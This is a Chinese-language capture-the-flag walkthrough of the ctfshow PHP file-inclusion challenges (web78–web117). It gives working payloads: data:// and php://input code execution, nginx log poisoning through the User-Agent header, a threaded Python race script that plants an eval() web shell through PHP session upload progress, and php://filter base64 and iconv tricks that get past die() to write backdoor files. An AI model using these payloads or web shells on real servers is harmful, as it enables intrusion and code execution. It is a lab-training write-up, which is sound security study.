web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
-
php偽協議,
data://
資料流封裝器,以傳遞相應格式的資料。通常可以用來執行PHP程式碼?file=data://text/plain,<?=system('ls')?> ?file=data://text/plain,<?=system('cat flag.php')?>
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
就增加了個替換,
*
號繞過?file=data://text/plain,<?=system('cat f*')?>
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
data不給用了,但還有很多方法,但是大小寫繞過,使用
php://input
POST /?file=phP://input HTTP/1.1 Host: ..... <?=system('cat fl0g.php');?>
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
多了點過濾
:
,嘗試使用日誌繞過,F12檢視伺服器是nginx那麼預設日誌檔案則是在/var/log/nginx/access.log
,透過修改ua
來達到目的# 1 GET /?file=/var/log/nginx/access.log HTTP/1.1 User-Agent: Mozilla/5.0 (Win<?php system('ls');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 # 2 GET /?file=/var/log/nginx/access.log HTTP/1.1 User-Agent: Mozilla/5.0 (Win<?php system('cat fl0g.php');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
web82 - web86
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
偽協議,日誌都不能使用了,嘗試session
包含
-
使用指令碼,已經對程式碼進行註釋
# -*- coding: utf-8 -*- import requests import threading import io // 條件競爭的url url = 'http://787ca786-8744-4541-95ee-be9c1eca47e9.challenge.ctf.show/' sessid = 'ctfshow' # /tmp/sess_sessionid 中寫入一句話木馬 def write(session): # 用來模擬上傳檔案 fileBytes = io.BytesIO(b'a' * 1024 * 50) # 無限迴圈生成session檔案,因為在檔案上傳成功後會立馬銷燬session while True: response = session.post( url, data={ # 寫入一句話馬,密碼為1 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' }, cookies={ #設定sessionid,檔名將會以sess_sessid來命名 'PHPSESSID': sessid }, # 假裝上傳的是圖片,格式是fileBytes files={ 'file': ('ctfshow.jpg', fileBytes) } ) def read(session): # 迴圈讀取write生成的session檔案,因為要在刪除前訪問到session檔案 while True: response = session.post( # 一般session檔案儲存在/tmp/* url + '?file=/tmp/sess_' + sessid, data={ # 執行在write上傳的session檔案裡的馬,在網頁目錄資料夾生成muma.jpg,並寫入一句馬 "1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');" }, cookies={ 'PHPSESSID': sessid } ) # 訪問木馬檔案,如果訪問到了就代表競爭成功 resposne2 = session.get(url + 'muma.php') if resposne2.status_code == 200: print('++++++done++++++') else: print(resposne2.status_code) if __name__ == '__main__': evnet = threading.Event() # 寫入和訪問分別設定 5 個執行緒。 with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set()
整個程式碼的思路就是,往
/tmp/sess_ctfshow
檔案中寫入一句話木馬,密碼為1,然後用題目中的檔案包含漏洞,包含這一個檔案,在函式read中嘗試利用/tmp/sess_ctfshow
的一句話往網站根目錄檔案1.php
寫一句話木馬,密碼為a
-
競爭成功後訪問
muma.php
,讀取flag即可
web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
新增 file_put_contents
函式,將會往 $file
裡寫入 <?php die('大佬別秀了');?>
和我們 post 傳入的 $content
內容,這樣就會先執行die
而後面我們傳入的程式碼就不會執行因此我們還需要繞過這個 die()
函式
參考連結:https://blog.csdn.net/Myon5/article/details/140224831#:~:text=ctfshow-we
透過 php://filter/write
過濾器來繞過
官網連結: https://www.php.net/manual/zh/wrappers.php.php
透過 php://filter/write=convert.base64-decode/resource=xxx.php
-
思路:假如我們
content
輸入的是PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
(<?php eval($_POST[1]); ?>
經過base64編碼後的字元),那麼檔案內容就是<?php die('大佬別秀了');?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
,然後我們透過php://filter/write=convert.base64-decode/resource=xxx.php
來將輸入的內容進行base64
解碼,那麼檔案內容就會變成�]�<?php eval($_POST[1]); ?>
,所以就饒過die
函式 -
仔細檢視程式碼,發現
urldecode
會將我們輸入的php://filter/write=convert.base64-decode/resource=xxx.php
進行url解碼,所以我們需要對php://filter/write=convert.base64-decode/resource=xxx.php
進行兩次url編碼,中介軟體會解碼一次,程式碼中也會解碼一次 -
構造payload:
對
php://filter/write=convert.base64-decode/resource=shell.php
進行兩次url編碼%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
對
<?php eval($_POST[1]); ?>
進行base64編碼PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
還要在前面加上兩個
1
,因為base64編碼是4位4位來解碼的,不能整除的話就會解碼失敗,因為<?php die('大佬別秀了');?>
解碼後也會剩下兩個字元所以我們要在前面加上兩個1
湊為4的整數11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
-
構造資料包
POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1 Host: 592b7169-a44.... ...... ...... ...... content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
-
之後訪問shell.php,使用後門程式碼走流程就行
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
-
過濾了很多,嘗試訪問了日誌檔案也不行
-
發現好像可以構造偽協議
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg11 // system('ls'); ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz41
web116
提示:misc
+lfi
-
進去是個影片,我們下載下來,
嘗試使用binwalk來分離檔案
# kali // 檢視檔案 binwalk video.mp4 --run-as=root // output DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 27657186 0x1A603E2 PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b 27820636 0x1A8825C MySQL ISAM index file Version 8 28976826 0x1BA26BA HPACK archive data 40994603 0x271872B PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced 40994644 0x2718754 Zlib compressed data, default compression
發現png,提取
binwalk -e video.mp4 -D PNG --run-as=root
,我的不知道為什麼讀取不了,使用foremost來提取foremost xxx.mp4
,提取出來一張圖片過濾了蠻多的,不過沒有過濾
flag
,也沒有過濾filter
嘗試構造語句
?file=php://filter/resource=flag.php
(直接讀取)flag在f12響應裡面找到,base64編碼的,要解碼
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87長得有點像,不過base64
和rot13
被ban掉了,依舊是使用filter
,還有iconv
可以嘗試
在linux 裡面使用iconv
對payload
進行編碼
先使用linux來對payload編碼
iconv -f ucs-2le -t ucs-2be 1.txt
// 輸出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 裡面是 <?php eval($_POST['a']); ?>
再構造filter
?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
大概思路和web87差不多,也是對資料進行編碼解碼,原本的<?php die();?>
就會亂碼,從而繞過
-
提交資料包
GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php POST contents=?<hp pvela$(P_SO[Ta']';)?>
-
提交後訪問1.php,之後常規操作